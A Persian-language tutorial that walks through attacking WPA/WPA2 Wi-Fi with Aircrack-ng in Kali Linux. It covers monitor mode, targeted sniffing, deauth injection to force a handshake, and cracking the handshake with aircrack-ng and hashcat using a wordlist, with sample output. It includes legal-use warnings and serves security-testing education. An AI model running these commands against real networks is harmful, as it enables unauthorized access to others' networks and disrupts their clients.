Aircrack-ng در Kali Linux
راهنمای پیشرفته Aircrack-ng: حالت monitor، شنود WPA/WPA2، handshake و کرک پسورد وایرلس.
Aircrack-ng کاملترین suite ابزارهای حمله وایرلس است که در Kali Linux بهصورت پیشفرض نصب میشود. در این آموزش، با حالت monitor، شنود شبکههای WPA/WPA2، ثبت handshake و کرک پسورد وایرلس آشنا میشوید.
استفادهٔ مسئولانه
حملات وایرلس تنها باید روی شبکههایی که مالک آنها هستید یا مجوز کتبی دارید انجام شوند. شنود یا کرک شبکههای دیگران جرم محسوب میشود و پیگرد قانونی دارد. این آموزش صرفاً برای آموزش و تست امنیتی مجاز است.
Aircrack-ng چیست؟
Aircrack-ng یک مجموعهٔ کامل ابزار برای ارزیابی امنیتی شبکههای وایرلس است که شامل ابزارهای زیر است:
| ابزار | کاربرد |
|---|---|
airmon-ng | فعالسازی حالت monitor |
airodump-ng | شنود و جمعآوری اطلاعات |
aireplay-ng | تزریق پکت |
aircrack-ng | کرک handshake |
airbase-ng | ساخت AP جعلی |
airdecap-ng | رمزگشایی ترافیک ضبطشده |
پیشنیازها
۱. کارت وایرلس پشتیبانیکننده از Monitor Mode
همهٔ کارتهای وایرلس از حالت monitor پشتیبانی نمیکنند. کارتهای پیشنهادی:
| سازنده | مدل | چیپست |
|---|---|---|
| Alfa | AWUS036NHA | Atheros AR9271 |
| Alfa | AWUS036ACH | RTL8812AU |
| TP-Link | TL-WN722N (v1) | Atheros AR9271 |
| Panda | PAU05 | Ralink RT3070 |
۲. نصب درایور مناسب
# بررسی شناسایی کارت وایرلس
iwconfig
# خروجی:
# wlan0 IEEE 802.11 ESSID:off/any
# Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
# Retry short limit:7 RTS thr:off Fragment thr:off
# Encryption key:off
# Power Management:on
# بررسی پشتیبانی از monitor
iw list | grep -A 5 "Supported interface modes"
# Supported interface modes:
# * IBSS
# * managed
# * AP
# * AP/VLAN
# * monitor # این یعنی پشتیبانی میکند
# * mesh pointمرحله ۱: فعالسازی Monitor Mode
# بررسی interfaceهای وایرلس
airmon-ng
# خروجی:
# PHY Interface Driver Chipset
# phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271
# غیرفعالسازی فرآیندهای تداخلی
sudo airmon-ng check kill
# فعالسازی monitor mode
sudo airmon-ng start wlan0
# خروجی:
# PHY Interface Driver Chipset
# phy0 wlan0 ath9k_htc Atheros Communications, Inc. AR9271
# (mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
# (mac80211 station mode vif disabled for [phy0]wlan0)
# بررسی interface جدید
iwconfig
# wlan0mon IEEE 802.11 Mode:Monitor Tx-Power=20 dBmمرحله ۲: شنود شبکههای اطراف
# شنود تمام شبکههای اطراف
sudo airodump-ng wlan0mon
# خروجی (بهروزرسانی پیوسته):
# BSSID PWR Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID
# AA:BB:CC:DD:EE:01 -42 105 23 0 6 130 WPA2 CCMP PSK HomeNet
# AA:BB:CC:DD:EE:02 -67 88 5 0 11 270 WPA2 CCMP PSK Office
# AA:BB:CC:DD:EE:03 -78 34 2 0 1 54 WEP RC4 SKY OldNet
# AA:BB:CC:DD:EE:04 -55 65 12 0 6 130 OPN -- -- GuestNet| ستون | توضیح |
|---|---|
| BSSID | MAC آدرس Access Point |
| PWR | قدرت سیگنال (نزدیک به ۰ = قویتر) |
| Beacons | تعداد بستههای beacon دریافتی |
| #Data | تعداد بستههای data |
| CH | کانال |
| ENC | نوع رمزنگاری (WPA2/WEP/OPN) |
| ESSID | نام شبکه |
مرحله ۳: شنود شبکهٔ هدف
# شنود متمرکز روی یک شبکه
sudo airodump-ng --bssid AA:BB:CC:DD:EE:01 -c 6 -w capture wlan0mon
# پارامترها:
# --bssid: MAC آدرس AP هدف
# -c: کانال
# -w: نام فایل خروجی
# خروجی:
# BSSID PWR RXQ Beacons #Data #/s CH MB ENC CIPHER AUTH ESSID
# AA:BB:CC:DD:EE:01 -42 100 256 34 0 6 130 WPA2 CCMP PSK HomeNet
#
# BSSID STATION PWR Rate Lost Frames Notes Probes
# AA:BB:CC:DD:EE:01 11:22:33:44:55:66 -45 1e-6e 0 123 EAPOLانتظار برای handshake
در مرحلهٔ ۳، باید منتظر بمانید تا یک کلاینت به AP متصل شود. در ستون Notes باید EAPOL نمایش داده شود که نشاندهندهٔ handshake است. این مرحله ممکن است چند دقیقه تا چند ساعت طول بکشد.
مرحله ۴: تزریق پکت برای accelerate handshake
اگر کلاینتی متصل است ولی handshake دریافت نمیشود، میتوانید با تزریق deauth، کلاینت را مجبور به اتصال مجدد کنید:
# ارسال ۵ بسته deauth به کلاینت
sudo aireplay-ng --deauth 5 -a AA:BB:CC:DD:EE:01 -c 11:22:33:44:55:66 wlan0mon
# خروجی:
# 09:00:00 Waiting for beacon frame (BSSID: AA:BB:CC:DD:EE:01) on channel 6
# 09:00:00 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [ 0|64 ACKs]
# 09:00:01 Sending 64 directed DeAuth (code 7). STMAC: [11:22:33:44:55:66] [25|64 ACKs]سپس به پنجرهٔ airodump-ng برگردید و منتظر handshake بمانید. وقتی handshake دریافت شد، پیام زیر در airodump-ng ظاهر میشود:
WPA handshake: AA:BB:CC:DD:EE:01 captured at 09:01:23مرحله ۵: کرک handshake
# بررسی فایلهای ضبطشده
ls -lh capture*
# -rw-r--r-- 1 root root 24K capture-01.cap
# -rw-r--r-- 1 root root 488B capture-01.csv
# -rw-r--r-- 1 root root 118B capture-01.kismet.csv
# کرک handshake با wordlist
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b AA:BB:CC:DD:EE:01 capture-01.cap
# خروجی (در صورت موفقیت):
# Aircrack-ng 1.7
#
# [00:00:23] 1234/14344352 keys tested (53.21 k/s)
#
# Time left: 4 minutes, 28 seconds 0.01%
#
# KEY FOUND! [ password123 ]
#
# Master Key : CD 69 0D 11 8E AC AA C5 EC 0F 1A 6C 14 11 9D 5A
# 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
#
# Transient Key : 33 55 0B 32 88 1E 12 2A 7C 6C 9B 5A 6C 14 9D 5A
# 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
# 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
# 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A
#
# EAPOL HMAC : 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5A 9C 14 9D 5Aکرک با Hashcat (سریعتر با GPU)
# تبدیل فایل cap به فرمت hashcat
hcxpcapngtool -o hash.hc22000 capture-01.cap
# کرک با hashcat (WPA-PBKDF2-PMKID+EAPOL)
hashcat -m 22000 hash.hc22000 /usr/share/wordlists/rockyou.txtبازگشت به حالت Managed
پس از اتمام کار، باید کارت وایرلس را به حالت عادی برگردانید:
# غیرفعالسازی monitor mode
sudo airmon-ng stop wlan0mon
# راهاندازی مجدد NetworkManager
sudo systemctl start NetworkManager
# بررسی
iwconfig
# wlan0 IEEE 802.11 ESSID:off/any
# Mode:Managed Access Point: Not-Associatedخطاهای رایج
"Monitor mode not supported"
مشکل: کارت وایرلس شما از monitor mode پشتیبانی نمیکند.
راهحل:
- یک کارت وایرلس با چیپست پشتیبانیشده تهیه کنید (Alfa توصیه میشود)
- درایور جدید نصب کنید (مثلاً
realtek-rtl88xxau-dkmsبرای RTL8812AU)
"No such device"
مشکل: پس از فعالسازی monitor، interface گم میشود.
راهحل:
# ریاستارت کارت وایرلس
sudo airmon-ng stop wlan0mon
sudo ip link set wlan0 down
sudo ip link set wlan0 up
# یا ریاستارت سرویس
sudo systemctl restart NetworkManagerchannel -1 error
مشکل: airodump-ng روی کانال اشتباه قرار میگیرد.
راهحل:
# تنظیم صریح کانال
sudo iwconfig wlan0mon channel 6
# یا استفاده از --channel در airodump-ng
sudo airodump-ng -c 6 wlan0monhandshake ضبط نمیشود
مشکل: علیرغم اتصال کلاینت، handshake دریافت نمیشود.
راهحل:
- با
aireplay-ng --deauthکلاینت را مجبور به اتصال مجدد کنید - مطمئن شوید کانال AP و airodump-ng یکسان است
- سیگنال کافی باشد (PWR نزدیک به ۰)
تأثیر بر شبکهٔ واقعی
حملهٔ deauth روی شبکههای واقعی، اتصال کلاینتها را قطع میکند. این کار میتواند باعث اختلال در خدمات شود. همیشه با مجوز صریح و فقط در شبکههای خودتان این کار را انجام دهید.
خلاصه و مرحلهٔ بعد
Aircrack-ng کاملترین suite ابزارهای ارزیابی امنیتی وایرلس است. با فعالسازی monitor mode، شنود شبکهٔ هدف، ثبت handshake و کرک آن با wordlist، میتوانید امنیت شبکههای WPA/WPA2 را تست کنید.
بهعنوان گام بعدی:
- آموزش John the Ripper را برای کرک هشهای دیگر ببینید
- آموزش Wireshark را برای تحلیل ترافیک ضبطشده بخوانید
- آموزش معرفی ابزارها را برای نمای کلی مرور کنید
این صفحه در تاریخ ۵ تیر ۱۴۰۵ بهروزرسانی شده است.